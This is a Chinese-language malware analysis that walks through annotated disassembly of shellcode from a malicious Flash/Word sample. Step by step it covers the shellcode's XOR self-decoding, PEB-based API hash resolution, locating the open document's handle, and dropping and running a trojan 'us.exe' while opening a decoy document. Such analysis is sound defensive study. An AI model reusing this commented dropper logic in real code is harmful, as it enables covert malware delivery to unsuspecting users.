从古河分析的一个FLASH样本(链接:http://bbs.pediy.com/showthread.php?t=147686)里扣出来的shellcode,对它进行了一番分析,一来是很久没玩过shellcode了,二来是想看看里头有啥创新的地方没有~
一部分
0040E7D4 > D9C8 fxch st ; exchange st0 and st0,不是很清楚这个操作
0040E7D6 D97424 F4 fstenv (28-byte) ptr [esp-C] ; 存储协处理器环境,总共占用28byte 而esp指向的栈内存刚好存储shellcode开始的地址
0040E7DA BA EEECE0DC mov edx, DCE0ECEE ;异或子
0040E7DF 29C9 sub ecx, ecx ;
0040E7E1 5F pop edi ; shellcode起始地址
0040E7E2 B1 3A mov cl, 3A ; 解码时需要异或的次数
0040E7E4 3157 14 xor dword ptr [edi+14], edx ;从偏移为0x14的地方开始解码
0040E7E7 83EF FC sub edi, -4 ;指针下移4
0040E7EA ^ E2 F8 loopd short 0040E7E4 ;循环解码
0040E7EC E9 BA000000 jmp 0040E8AB ;长跳
FUNC:0040E7F1
0040E7F1 B9 04000000 mov ecx, 4 ;要找4个地址
0040E7F6 5F pop edi ;HASH值地址0040E8B0
0040E7F7 33C0 xor eax, eax
0040E7F9 64:8B35 30000>mov esi, dword ptr fs:[30] ; PEB结构地址(进程结构)
0040E800 8B76 0C mov esi, dword ptr [esi+C] ;得到PEB_LDR_DATA结构地址
0040E803 8B76 1C mov esi, dword ptr [esi+1C] ; InInitializationOrderModuleList
这时,esi = 0X261F58,指向第一个LDR_MODULE结构,本系统为NTDLL.DLL对应的结构
0040E806 8B6E 08 mov ebp, dword ptr [esi+8] ;DLL的基地址
0040E809 8B56 20 mov edx, dword ptr [esi+20] ; DLL的名称指针
0040E80C 8B36 mov esi, dword ptr [esi] ;下一个LDR_MODULE结构的地址
0040E80E 3842 18 cmp byte ptr [edx+18], al ;判断DLL名称的长度是否为0x18(Unicode),KERNEL32.dll的长度干好为0x18
0040E811 ^ 75 F3 jnz short 0040E806 ;不等则循环查找
0040E813 51 push ecx ;ECX=4,总共查找4个函数地址
0040E814 8B75 3C mov esi, dword ptr [ebp+3C] ;kernel32PE头偏移(相对于dll基址)
0040E817 8B742E 78 mov esi, dword ptr [esi+ebp+78] ;函数导出表偏移
0040E81B 03F5 add esi, ebp ;导出表VA
0040E81D 56 push esi ;导出表地址存起来
0040E81E 8B76 20 mov esi, dword ptr [esi+20] ;函数名称列表偏移
0040E821 03F5 add esi, ebp ;函数名称列表VA
0040E823 33C9 xor ecx, ecx; ECX用来存放函数序号,因为序号是从0开始,后面每循环一次都要INC, 为了实现代码的重复利用,所以得先让ecx为-1
0040E825 49 dec ecx
0040E826 41 inc ecx ;函数序号从0开始
0040E827 AD lods dword ptr [esi];取某个函数名称RVA
0040E828 03C5 add eax, ebp ;函数名称VA
0040E82A 33DB xor ebx, ebx ;存放HASH值
0040E82C 0FBE10 movsx edx, byte ptr [eax] ;取名称的一个字符
0040E82F 38F2 cmp dl, dh ;是否到达字符串尾部
0040E831 74 08 je short 0040E83B ;某个函数HASH计算完毕
0040E833 C1CB 0D ror ebx, 0D ;HASH值循环右移0D位
0040E836 03DA add ebx, edx ;累加HASH
0040E838 40 inc eax ;指向下一个字符
0040E839 ^ EB F1 jmp short 0040E82C ;循环计算HASH
;;;;;;;;;;;;某个函数HASH值计算完毕;;;;;;;;;;;
0040E83B 3B1F cmp ebx, dword ptr [edi] ;HASH值比较
0040E83D ^ 75 E7 jnz short 0040E826 ;不相等则继续查找
0040E83F 5E pop esi ;导出表地址
0040E840 8B5E 24 mov ebx, dword ptr [esi+24] ;次序表偏移
0040E843 03DD add ebx, ebp ;
0040E845 66:8B0C4B mov cx, word ptr [ebx+ecx*2] ;取出函数序号,为WORD
0040E849 8B5E 1C mov ebx, dword ptr [esi+1C] ;函数地址列表RVA
0040E84C 03DD add ebx, ebp
0040E84E 8B048B mov eax, dword ptr [ebx+ecx*4] ;找到对应函数地址RVA
0040E851 03C5 add eax, ebp ;函数地址
0040E853 AB stos dword ptr es:[edi] ;存储函数地址,覆盖了HASH值
0040E854 59 pop ecx ;
0040E855 ^ E2 BC loopd short 0040E813 ;循环查找函数地址,总共查找4个函数,ECX减一
;;;;;;;;;函数查找完毕了;;;;;;;;;;;;;
0040E857 33DB xor ebx, ebx
0040E859 83C3 04 add ebx, 4 ;句柄值每次加4(一定是4的倍数吗?)
0040E85C 6A 00 push 0 ;lpFileSizeHigh
0040E85E 53 push ebx ; FILE HANDLE
0040E85F FF57 FC call dword ptr [edi-4];GetFileSize
0040E862 3B07 cmp eax, dword ptr [edi] ;将返回值与给定大小比较
0040E864 ^ 75 F3 jnz short 0040E859 ;不等则继续查找
;;;;;;;;;找到了文件句柄;;;;;;;;;;;;
0040E866 895F FC mov dword ptr [edi-4], ebx ;文件句柄存起来,覆盖了原来GetFileSize函数地址
0040E869 99 cdq ;用EDX把EAX扩展成4字,EDX=0
0040E86A 52 push edx ;0 -- FileBegin
0040E86B 52 push edx ; lpDistanceToMoveHigh-- NULL
0040E86C FF77 04 push dword ptr [edi+4] ;文件偏移量 –- 0xDE00
0040E86F FF77 FC push dword ptr [edi-4] ;句柄值
0040E872 FF57 F8 call dword ptr [edi-8] ;SetFilePointer
0040E875 99 cdq ;EDX = 0
0040E876 6A 40 push 40
0040E878 68 00100000 push 1000;MEM_COMMIT
0040E87D FF77 08 push dword ptr [edi+8];size = 0xc26c
0040E880 52 push edx ;0
0040E881 FF57 F4 call dword ptr [edi-C] ;VirtualAlloc
0040E884 8947 F8 mov dword ptr [edi-8], eax ; 将分配的地址存
0040E887 6A 00 push 0 ;
0040E889 8D47 F4 lea eax, dword ptr [edi-C]
0040E88C 50 push eax ;
0040E88D FF77 08 push dword ptr [edi+8] ;size = C26C
0040E890 FF77 F8 push dword ptr [edi-8] ;buf
0040E893 FF77 FC push dword ptr [edi-4] ;Handle
0040E896 FF57 F0 call dword ptr [edi-10] ;ReadFile
0040E899 8B4F 0C mov ecx, dword ptr [edi+C] ;0x25C—解码循环次数
0040E89C 8B47 F8 mov eax, dword ptr [edi-8] ;BUF
0040E89F C008 51 ror byte ptr [eax], 51 ;解码
0040E8A2 8030 6E xor byte ptr [eax], 6E
0040E8A5 40 inc eax ;
0040E8A6 ^ E2 F7 loopd short 0040E89F
;;;;;;;;;;;解码完毕;;;;;;;;;;;;;;;
0040E8A8 FF57 F8 call dword ptr [edi-8] ;执行,跳转到二
0040E8AB E8 41FFFFFF call 0040E7F1
以下为HASH值,后被覆盖为相应函数地址
0040E8B0 16 push ss
0040E8B1 65:FA cli
0040E8B3 1054CA AF adc byte ptr [edx+ecx*8-51], dl
0040E8B7 91 xchg eax, ecx
0040E8B8 AC lods byte ptr [esi]
0040E8B9 08DA or dl, bl
0040E8BB ^ 76 AD jbe short 0040E86A
0040E8BD 9B wait
0040E8BE ^ 7D DF jge short 0040E89F
;;;;;;;;;;;;;下面四个字节为需要找到的文件大小(0x1a06c =106604,即打开的doc文档);;;;;;;;;;;;
0040E8C0 6C ins byte ptr es:[edi], dx
0040E8C1 A0 010000DE mov al, byte ptr [DE000001]
0040E8C6 0000 add byte ptr [eax], al
0040E8C8 6C ins byte ptr es:[edi], dx
0040E8C9 C2 0000 retn 0
0040E8CC 5C pop esp
0040E8CD 0200 add al, byte ptr [eax]
0040E8CF 006D 6D add byte ptr [ebp+6D], ch
0040E8D2 6D ins dword ptr es:[edi], dx
0040E8D3 6D ins dword ptr es:[edi], dx
0040E8D4 FA cli
0040E8D5 FA cli
该shellcode获取了以下函数的地址:ReadFile,VirtualAlloc,SetFilePointer,GetFileSize,
二,(从DOC文档释放出来的数据)
假设分配的内存在此处:
解码后跳转到这里
;;;;;;;;;;;;;;前面这一段和第一部分一样,先解码;;;;;;;;;;;;;;;;
0040E7D4 > D9C8 fxch st
0040E7D6 D97424F4 fstenv (28-byte) ptr [esp-C]
0040E7DA BADED9D5D4 mov edx, D4D5D9DE
0040E7DF 29C9 sub ecx, ecx
0040E7E1 5F pop edi
0040E7E2 B192 mov cl, 92
0040E7E4 3157 14 xor dword ptr [edi+14], edx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
解码完后是这样子(这段代码和上次的一样,所以注释简略些):
0040E7D4 > D9C8 fxch st
0040E7D6 D97424F4 fstenv (28-byte) ptr [esp-C]
0040E7DA BA DED9D5D4 mov edx, D4D5D9DE
0040E7DF 29C9 sub ecx, ecx
0040E7E1 5F pop edi
0040E7E2 B192 mov cl, 92
0040E7E4 315714 xor dword ptr [edi+14], edx
0040E7E7 83EFFC sub edi,-4
0040E7EA ^ E2F8 loopd short 0040E7E4
0040E7EC E9ED010000 jmp 0040E9DE ;长跳
0040E7F1 B909000000 mov ecx, 9 ;要找9个地址
;;;;;;;;;;;;;;;;;;;;;;;;;;;要找的函数地址;;;;;;;;;;;;;;;;;;
;;;TerminateProcess,GetCurrentProcess,CreateProcessA,GetModuleFileNameA,;;;;;;;;;;;;
;;;WinExec, CloseHandle, WriteFile, CreateFileA, GetTempPathA, ;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0040E7F6 5F pop edi
0040E7F7 33C0 xor eax, eax
0040E7F9 64:8B35 30000>mov esi,dword ptr fs:[30]
0040E800 8B760C mov esi, dword ptr [esi+C]
0040E803 8B761C mov esi, dword ptr [esi+1C]
0040E806 8B6E08 mov ebp, dword ptr [esi+8]
0040E809 8B5620 mov edx, dword ptr [esi+20]
0040E80C 8B36 mov esi, dword ptr [esi]
0040E80E 384218 cmp byte ptr [edx+18], al ;KERNEL32
0040E811 ^ 75F3 jnz short 0040E806
0040E813 51 push ecx
0040E814 8B753C mov esi, dword ptr [ebp+3C]
0040E817 8B742E78 mov esi, dword ptr [esi+ebp+78]
0040E81B 03F5 add esi, ebp
0040E81D 56 push esi
0040E81E 8B7620 mov esi, dword ptr [esi+20]
0040E821 03F5 add esi, ebp
0040E823 33C9 xor ecx, ecx
0040E825 49 dec ecx
0040E826 41 inc ecx
0040E827 AD lods dword ptr [esi]
0040E828 03C5 add eax, ebp
0040E82A 33DB xor ebx, ebx
0040E82C 0FBE10 movsx edx, byte ptr [eax]
0040E82F 38F2 cmp dl, dh
0040E831 7408 je short 0040E83B
0040E833 C1CB0D ror ebx, 0D
0040E836 03DA add ebx, edx
0040E838 40 inc eax
0040E839 ^ EBF1 jmp short 0040E82C
0040E83B 3B1F cmp ebx, dword ptr [edi]
0040E83D ^ 75E7 jnz short 0040E826
0040E83F 5E pop esi
0040E840 8B5E24 mov ebx, dword ptr [esi+24]
0040E843 03DD add ebx, ebp
0040E845 66:8B0C4B mov cx, word ptr [ebx+ecx*2]
0040E849 8B5E1C mov ebx, dword ptr [esi+1C]
0040E84C 03DD add ebx, ebp
0040E84E 8B048B mov eax, dword ptr [ebx+ecx*4]
0040E851 03C5 add eax, ebp
0040E853 AB stos dword ptr es:[edi]
0040E854 59 pop ecx
0040E855 ^ E2BC loopd short 0040E813
;;;;;;;;;;;;;;;;;;;函数地址查找完毕;;;;;;;;;;;;;;;;;;;
0040E857 81EC00010000 sub esp, 100 ;抬高栈顶
0040E85D 8BDC mov ebx, esp ;
0040E85F 53 push ebx ;临时路径存放在栈里头
0040E860 6800010000 push 100
0040E865 FF57FC call dword ptr [edi-4] ;GetTempPathA
0040E868 8BC4 mov eax, esp
0040E86A 40 inc eax
0040E86B 803800 cmp byte ptr [eax], 0 ;是否到尾部
0040E86E ^ 75FA jnz short 0040E86A ;
0040E870 8D77 18 lea esi, dword ptr [edi+18] ;EAX指向字符串尾,EDI指向HASH
;;;和其它数据,这里ESI就指向us.exe
0040E873 8B4F10 mov ecx, dword ptr [edi+10] ;7
0040E876 8A16 mov dl, byte ptr [esi] ;下面3个语句的作用是将us.exe连接到
;TempPath的后面
0040E878 46 inc esi
0040E879 8810 mov byte ptr [eax], dl
0040E87B 40 inc eax
0040E87C ^ E2F8 loopd short 0040E876
0040E87E 99 cdq
0040E87F 52 push edx
0040E880 6A50 push 50
0040E882 6A02 push 2
0040E884 52 push edx
0040E885 52 push edx
0040E886 68000000C0 push C0000000
0040E88B 53 push ebx ;路径
0040E88C FF57F8 call dword ptr [edi-8] ;CreateFileA—创建文件us.exe
0040E88F 894708 mov dword ptr [edi+8], eax ;创建的文件句柄
0040E892 8BC7 mov eax, edi ;暂存EDI
0040E894 40 inc eax
0040E895 8138462E5A68 cmp dword ptr [eax], 685A2E46 ;查找标记
0040E89B ^ 75F7 jnz short 0040E894 ;循环查找
0040E89D 817804 23068>cmp dword ptr [eax+4],19810623 ;用某某人的生日,佩服
0040E8A4 ^ 75EE jnz short 0040E894
;;;;;;;;;;;;;;;;;;;;;;;;;;;;内存示意图;;;;;;;;;;;;;;;;;;;;;;;
0040EA07 00 5A 0000 00 66 00 00 4C 00 00 00 00 00 00 00 .Z...f..L.......
0040EA17 07 00 0000 08 00 00 00 75 73 2E 65 78 65 00 64 ......us.exe.d
0040EA27 6F 63 2E64 6F 63 00 00 00 46 2E 5A 68 23 06 81 oc.doc...F.Zh#
0040EA37 19 35 6942 00 0C 00 00 00 F0 50 6A 00 FF 35 2C 5iB.....餚j.5,
0040EA47 81 45 00FF 15 98 11 44 00 8B 4D F0 64 89 0D 00 丒.?D.婱餯?.
0040EA57 00 00 005F 5E 5B C9 C3 55 8B EC 6A FF 68 68 54 ..._^[擅U嬱jhhT
0040EA67 44 00 6868 3D 41 00 64 A1 00 00 00 00 50 64 89 D.hh=A.d?...Pd
0040EA77 25 00 0000 00 83 EC 18 53 56 57 8B 75 08 85 F6 %....冹SVW媢咑
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0040E8A6 8D7008 lea esi, dword ptr [eax+8] ;解码起始点
0040E8A9 8B0F mov ecx, dword ptr [edi] ;0x5a00—解码次数
0040E8AB 8BC6 mov eax, esi
;;;;;;;;;;;;;;;;;;循环解码(从标记19810623后开始);;;;;;;;;;;;;;;;;;;;;;;
0040E8AD C0088A ror byte ptr [eax], 8A
0040E8B0 8030 00 xor byte ptr [eax], 0
0040E8B3 40 inc eax
0040E8B4 ^ E2F7 loopd short 0040E8AD
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0040E8B6 99 cdq
0040E8B7 52 push edx ;NULL
0040E8B8 8D470C lea eax, dword ptr [edi+C]
0040E8BB 50 push eax ;写了多少字节
0040E8BC FF37 push dword ptr [edi] ;size
0040E8BE 56 push esi ;buf
0040E8BF FF7708 push dword ptr [edi+8] ;句柄
0040E8C2 FF57F4 call dword ptr [edi-C] ;WriteFile,将解码后的数据写入到us.exe
0040E8C5 60 pushad ;保存寄存器的值
0040E8C6 BBD2000000 mov ebx, 0D2 ;循环写入次数
0040E8CB 99 cdq
0040E8CC 52 push edx
0040E8CD 8D470C lea eax, dword ptr [edi+C]
0040E8D0 50 push eax
0040E8D1 FF37 push dword ptr [edi]
0040E8D3 56 push esi
0040E8D4 FF7708 push dword ptr [edi+8]
0040E8D7 FF57F4 call dword ptr [edi-C] ;WriteFile,将解码后的数据写入到us.exe
0040E8DA 4B dec ebx
0040E8DB 83FB00 cmp ebx, 0
0040E8DE ^ 75EB jnz short 0040E8CB
;;;;;;;因为我这里没有触发环境,所以自己用VC手动将其解码,发现是一个JAVA程序
,大小为4.63MB
0040E8E0 61 popad ;寄存器恢复
0040E8E1 FF7708 push dword ptr [edi+8] ;
0040E8E4 FF57F0 call dword ptr [edi-10] ;CloseHandle
0040E8E7 99 cdq
0040E8E8 52 push edx
0040E8E9 53 push ebx
0040E8EA FF57EC call dword ptr [edi-14] ;WinExec 执行us.exe,这应该是个马儿
0040E8ED FF57E0 call dword ptr [edi-20] ;GetCurrentProcess,获取当前进程句柄
0040E8F0 99 cdq
0040E8F1 52 push edx
0040E8F2 50 push eax
0040E8F3 FF57DC call dword ptr [edi-24] ;TerminateProcess结束本进程(现在就结束??后面的不执行了吗,这里有疑问)
0040E8F6 81EC00010000 sub esp, 100
0040E8FC 8BDC mov ebx, esp
0040E8FE 53 push ebx
0040E8FF 6800010000 push 100
0040E904 FF57FC call dword ptr [edi-4] ;GetTempPath
0040E907 895FFC mov dword ptr [edi-4], ebx
0040E90A 8BC4 mov eax, esp
0040E90C 40 inc eax
0040E90D 803800 cmp byte ptr [eax], 0
0040E910 ^ 75FA jnz short 0040E90C
0040E912 8B4F10 mov ecx, dword ptr [edi+10]
0040E915 8D77 18 lea esi, dword ptr [edi+18]
0040E918 03F1 add esi, ecx
;;;;;;;;;;;;;;;;;;;;;;;;在临时路径尾部加上“doc.doc”;;;;;;;;;;;;;;;;;;;
0040E91A 8B4F14 mov ecx, dword ptr [edi+14]
0040E91D 8A16 mov dl, byte ptr [esi]
0040E91F 46 inc esi
0040E920 8810 mov byte ptr [eax], dl
0040E922 40 inc eax
0040E923 ^ E2F8 loopd short 0040E91D
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0040E925 99 cdq
0040E926 52 push edx
0040E927 6A50 push 50
0040E929 6A02 push 2
0040E92B 52 push edx
0040E92C 52 push edx
0040E92D 68000000C0 push C0000000
0040E932 53 push ebx
0040E933 FF57F8 call dword ptr [edi-8] ;CreateFileA doc.doc
0040E936 894708 mov dword ptr [edi+8], eax ;文件句柄
0040E939 8BC7 mov eax, edi
0040E93B 40 inc eax
0040E93C 8138462E5A68 cmp dword ptr [eax],685A2E46 ;找第二处标记
0040E942 ^ 75F7 |jnz short 0040E93B
0040E944 817804 23068>cmp dword ptr [eax+4],20810623 ;找标记
0040E94B ^ 75EE jnz short 0040E93B
0040E94D 8D7008 lea esi, dword ptr [eax+8]
0040E950 99 |cdq
0040E951 52 push edx
0040E952 8D470C |lea eax, dword ptr [edi+C]
0040E955 50 push eax
0040E956 FF7704 |push dword ptr [edi+4] ;size = 0x6600
0040E959 56 push esi ;buf
0040E95A FF7708 push dword ptr [edi+8]
0040E95D FF57F4 |call dword ptr [edi-C] ;WriteFile(中间没有进过解码,而是直接读取后写入)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;通过用VC提取出doc.doc,打开发现却是一个空白的文档
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
0040E960 FF7708 push dword ptr [edi+8]
0040E963 FF57F0 call dword ptr [edi-10] ; CloseHandle
0040E966 81EC00020000 sub esp, 200
0040E96C 8BDC mov ebx, esp
0040E96E 6800020000 push 200
0040E973 53 push ebx
0040E974 6A00 push 0
0040E976 FF57E8 call dword ptr [edi-18] ;GetModuleFileNameA,获取当前模块
;;;路径和名称,即word.exe的路径
0040E979 895FF0 mov dword ptr [edi-10], ebx
0040E97C 8BC3 mov eax, ebx
0040E97E 40 inc eax
0040E97F 803800 cmp byte ptr [eax], 0 ;寻找模块名称末尾
0040E982 ^ 75FA jnz short 0040E97E
0040E984 C60020 mov byte ptr [eax], 20 ;加空格‘ ’
0040E987 40 inc eax
0040E988 C60022 mov byte ptr [eax], 22 ;加双引号
0040E98B 8B77FC mov esi, dword ptr [edi-4]
0040E98E 4E dec esi
0040E98F 46 inc esi
0040E990 40 inc eax
0040E991 8A1E mov bl, byte ptr [esi]
0040E993 8818 mov byte ptr [eax], bl ;将doc.doc路径粘到word.exe模块路
;;;;;;;;;;;;;;;径的后面,形成一个完整的命令行
0040E995 803E00 cmp byte ptr [esi], 0 ;临时目录\doc.doc末尾
0040E998 ^ 75F5 jnz short 0040E98F
0040E99A C60022 mov byte ptr [eax], 22 ;加双引号
0040E99D 40 inc eax
0040E99E C60000 mov byte ptr [eax], 0 ;C字符串末尾
0040E9A1 8BF7 mov esi, edi;代码与数据的临界处
0040E9A3 81EE00010000 sub esi, 100 ;在临界处前移0x100
0040E9A9 B912000000 mov ecx, 12 ;清零大小 = 0x12*4 = 72字节
0040E9AE C70600000000 mov dword ptr [esi], 0
0040E9B4 83C604 add esi, 4
0040E9B7 ^ E2F5 loopd short 0040E9AE
0040E9B9 99 cdq
0040E9BA 8D8700FFFFFF lea eax, dword ptr [edi-100]
0040E9C0 50 push eax ;lpProcessInformation
0040E9C1 8D8700FFFFFF lea eax, dword ptr [edi-100]
0040E9C7 50 push eax ;lpStartupInfo,作者为了节省空间,把两个结构指针
;;lpProcessInformation和lpStartupInfo重合了
0040E9C8 52 push edx
0040E9C9 52 push edx
0040E9CA 52 push edx
0040E9CB 52 push edx
0040E9CC 52 push edx
0040E9CD 52 push edx
0040E9CE FF77F0 push dword ptr [edi-10] ;命令行
0040E9D1 52 push edx
0040E9D2 FF57E4 call dword ptr [edi-1C] ;CreateProcessA,打开word.exe,并
;;传入doc.doc临时路径,作者的意图很明显,想打开一个正常的doc文档,来掩盖其攻击行为
0040E9D5 FF57E0 call dword ptr [edi-20] ;GetCurrentProcessA
0040E9D8 99 cdq
0040E9D9 52 push edx
0040E9DA 50 push eax
0040E9DB FF57DC call dword ptr [edi-24] ;TerminateProcess 结束进程
0040E9DE E80EFEFFFF call 0040E7F1
;;;;;;;;;;;;;;;;;;;;;下面是HASH和一些偏移等;;;;;;;;;;;;;;;;;;;;;;;
0040E9E3 83B9B578E617>cmp dword ptr[ecx+17E678B5], -71
0040E9EA 7B72 jpo short 0040EA5E
0040E9EC FE ??? ; 未知命令
0040E9ED B316 mov bl, 16
0040E9EF 766D jbe short 0040EA5E
0040E9F1 B045 mov al, 45
0040E9F3 98 cwde
0040E9F4 FE8A0EFB97FD dec byte ptr [edx+FD97FB0E]
0040E9FA 0F1F ??? ; 未知命令
0040E9FC 790A jns short 0040EA08
0040E9FE E8A517007C call 7C4101A8
0040EA03 33CA xor ecx, edx
0040EA05 8A5B00 mov bl, byte ptr [ebx]
0040EA08 5A pop edx
0040EA09 0000 add byte ptr [eax], al
0040EA0B 006600 add byte ptr [esi], ah
0040EA0E 0000 add byte ptr [eax], al
0040EA10 0000 add byte ptr [eax], al
0040EA12 0000 add byte ptr [eax], al
0040EA14 0000 add byte ptr [eax], al
0040EA16 0007 add byte ptr [edi], al
0040EA18 0000 add byte ptr [eax], al
0040EA1A 0008 add byte ptr [eax], cl
0040EA1C 0000 add byte ptr [eax], al
0040EA1E 0075 73 add byte ptr [ebp+73], dh
0040EA21 2E: prefix cs:
0040EA22 65:7865 js short 0040EA8A
0040EA25 00646F63 add byte ptr [edi+ebp*2+63], ah
0040EA29 2E: prefix cs:
0040EA2A 64:6F outs dx, dword ptr es:[edi]
0040EA2C 6300 arpl word ptr [eax], ax
0040EA2E 0000 add byte ptr [eax], al
0040EA30 46 inc esi
0040EA31 2E:5A pop edx
0040EA33 6823068119 push 19810623
0040EA38 356942000C xor eax, 0C004269
0040EA3D 0000 add byte ptr [eax], al
0040EA3F 00F0 add al, dh